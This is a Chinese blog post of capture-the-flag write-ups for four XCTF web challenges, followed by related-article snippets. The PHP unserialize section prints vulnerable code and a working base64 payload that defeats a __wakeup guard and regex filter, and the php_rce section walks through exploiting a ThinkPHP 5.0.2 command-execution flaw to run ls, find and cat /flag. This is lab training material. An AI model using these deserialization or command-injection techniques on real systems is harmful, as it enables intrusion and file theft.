攻防世界web高手进阶php_rce,XCTF攻防世界_Web进阶区001

XCTF攻防世界_Web进阶区001

XCTF攻防世界_Web进阶区001

XCTF_Web_高手进阶区

baby_web

Training-WWW-Robots

Web_php_unserialize

php_rce

baby_web

7c35ddfb9492dde27ad35afbdae6d924.png

df0661f353c8fce3e5bc3d4286dce5f3.png

(1)按照提示,初始界面想到index.php,再次请求index.php后仍是1.php(被重定向了)。F12打开开发者模式查看“网络”模块,查看返回包发现确实有index.php,并且其中的location参数被设置为了1.php,同时发现flag

b5309e4bc425592fd2af2f885134856e.png

(2)也可以访问index.php,用Burp抓包,在响应包中发现flag

2029f33ad3e929f696bbec2bc391030c.png

045621d68497b909adc54fe334cd4a91.png

Training-WWW-Robots

42027e759195559bae11043dab8e5615.png

(1)根据题目,熟悉robots.txt,在URL后加上/robots.txt

95aa05d3e861ae9aa7ee66a7a6f87a5a.png

(2)发现一个fl0g.php文件,在URL后加上fl0g.php访问,得到flag

a41607724c7c3b992c0cce6371b9d17d.png

Web_php_unserialize

(1)先是一段代码审计

class Demo {

private $file = 'index.php';

public function __construct($file) {

$this->file = $file; //构造函数,对类的变量进行初始化

}

function __destruct() {

echo @highlight_file($this->file, true);

}

//魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法

function __wakeup() {

if ($this->file != 'index.php') {

//the secret is in the fl4g.php

$this->file = 'index.php';

}

}

}

if (isset($_GET['var'])) {

$var = base64_decode($_GET['var']);

//正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化

if (preg_match('/[oc]:\d+:/i', $var)) {

die('stop hacking!');

} else {

@unserialize($var);

}

} else {

highlight_file("index.php");

}

?>

(2)审计完成之后,思路就很清晰了,对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了

在类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。

在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。

class Demo {

private $file = 'index.php';

//protected $file1 = 'index.php';

public function __construct($file) {

$this->file = $file;

//$this->file1 = $file1;

}

function __destruct() {

echo @highlight_file($this->file, true);

}

function __wakeup() {

if ($this->file != 'index.php') {

//the secret is in the fl4g.php

$this->file = 'index.php';

}

}

}

$a = new Demo("fl4g.php");

echo serialize($a)."\n";

//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

echo base64_encode('O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}');

使用代码在线工具执行,https://tool.lu/coderunner/

df6593eadf539452aa1734107957f387.png

修改之后,再进行base64加密,传参就可以了

index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

0311ae6fb34e445662f83f9e3f477bcc.png

php_rce

a1637a0044dda31cddfb7f957a0581cb.png

(1)进入后发现是一个php框架,根据题目php-rce远程命令执行,在github上一下这个版本有什么漏洞

302dc8ff0f96a351ab91182ccbcb18de.png

0486dd15b49d8f01602d21440acf9240.png

16876998b2ee977b7367555c3fa7007c.png

(2)发现有好几个版本,由于只知道是5.0,则随便输入一个试试,这里注意只从"?s"开始复制,"?s"之前的是靶场。

051cf11f2254a15e047fffb35ea737ef.png

(3)得到进一步提示,为5.0.2版本,回到github找到5.0.2版本的再次复制,然后访问。发现可以进行远程命令执行。

ed81ef949f704040d594e5578ccc69f1.png

(4)ls查看有没有什么提示信息,可用hackbar执行,或者直接在地址栏输入命令也可。这里注意要把原来最后一个"="后面的东西删掉再输入命令。

1a58d0e55839395531b8f74e5cfc4163.png

(5)ls后没有发现有用信息,接着查找上一级目录,直到发现flag

cb86b6a0c9c8b8545882b14076448271.png

(6)然后输入查看命令 cat /flag即可看到flag

9f001a5c61e3f1a933e79e9c5d6c7757.png

(7)也可以无需一级一级目录的找,使用命令find / -name flag,也可找到flag,然后cat /flag 就可以看到flag了。

67263d26310731afe70e16ea0032d5c8.png

XCTF攻防世界_Web进阶区001相关教程

不同因子影响下的不同情境的世界气温预测(的辣鸡tkinter UI可视

不同因子影响下的不同情境的世界气温预测(的辣鸡tkinter UI可视化DEMO) ** ** from tkinter import *from matplotlib import pylab as pltimport requestsimport numpy as npfrom netCDF4 import Datasetfrom matplotlib.figure import Figure '''获取数据'

XCTF攻防世界_Web进阶区003

XCTF攻防世界_Web进阶区003 XCTF_Web_高手进阶区 supersqli supersqli 这里使用谷歌浏览器 拿到题目后,发现是单引号报错字符型注入 用order by语句判断出两个字段:order by 2的时候页面正常回显,order by 3的时候页面出错。 使用union select联合查询,发

[007]爬虫系列 | 猿人学爬虫攻防大赛 | 第五题: js混淆 乱码增强

[007]爬虫系列 | 猿人学爬虫攻防大赛 | 第五题: js混淆 乱码增强(上) 一、备注 由于此题目比较复杂(个人感觉哈!大佬别喷!),所以博主分析了一个上午,也就只能得出m的生成,所以还是分两天写吧!!! 二、题目 http://match.yuanrenxue.com/match/5 三、分

学完计组后,我马上在「我的世界」造了台显示器,你敢信?

学完计组后,我马上在「我的世界」造了台显示器,你敢信? 今天的主题十分有趣,我们将在我的世界(Minecraft)这个游戏里,靠一个个逻辑门来组合实现一个简单的七段显示器,可以实现将选择的数字输出在显示器上。 演示视频在下面,来看看这个宏大的工程: 接下

攻防世界 web高手进阶区 9分题 favorite_number

攻防世界 web高手进阶区 9分题 favorite_number 前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然后是个正则,要求整个字符串都是数字,大小

[007]爬虫系列 | 猿人学爬虫攻防大赛 | 第五题: js混淆 乱码增强

[007]爬虫系列 | 猿人学爬虫攻防大赛 | 第五题: js混淆 乱码增强(中) 一、备注 在阅读此文章前,请先阅读前一篇《[007]爬虫系列 | 猿人学爬虫攻防大赛 | 第五题: js混淆 乱码增强(上)》 二、找参数来源(二) 在前一篇文章中,我们 找出了Cookie里面m生成函数,

【Python安全攻防过渡篇:web编程、环境准备】

【Python安全攻防过渡篇:web编程、环境准备】 web编程 web编程不是说用python做web开发,而是用python与web交互。常用的模块有 urlib,urlib2 ,这是python内置的模块。 同时,还有基于urlib的第三方库,比如 requests, BeautifulSoup ,这里我们主要用 reque

warmup_攻防世界

warmup_攻防世界 进入页面什么都没有,查看控制台 注释提示source.php,地址栏输入查看源码 提示存在hint.php,访问后显示 得到存储flag的文件名 现在分析满足函数条件的payload 函数作用是分三步检查传进来的参数是否满足白名单: $whitelist = [source=sour

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值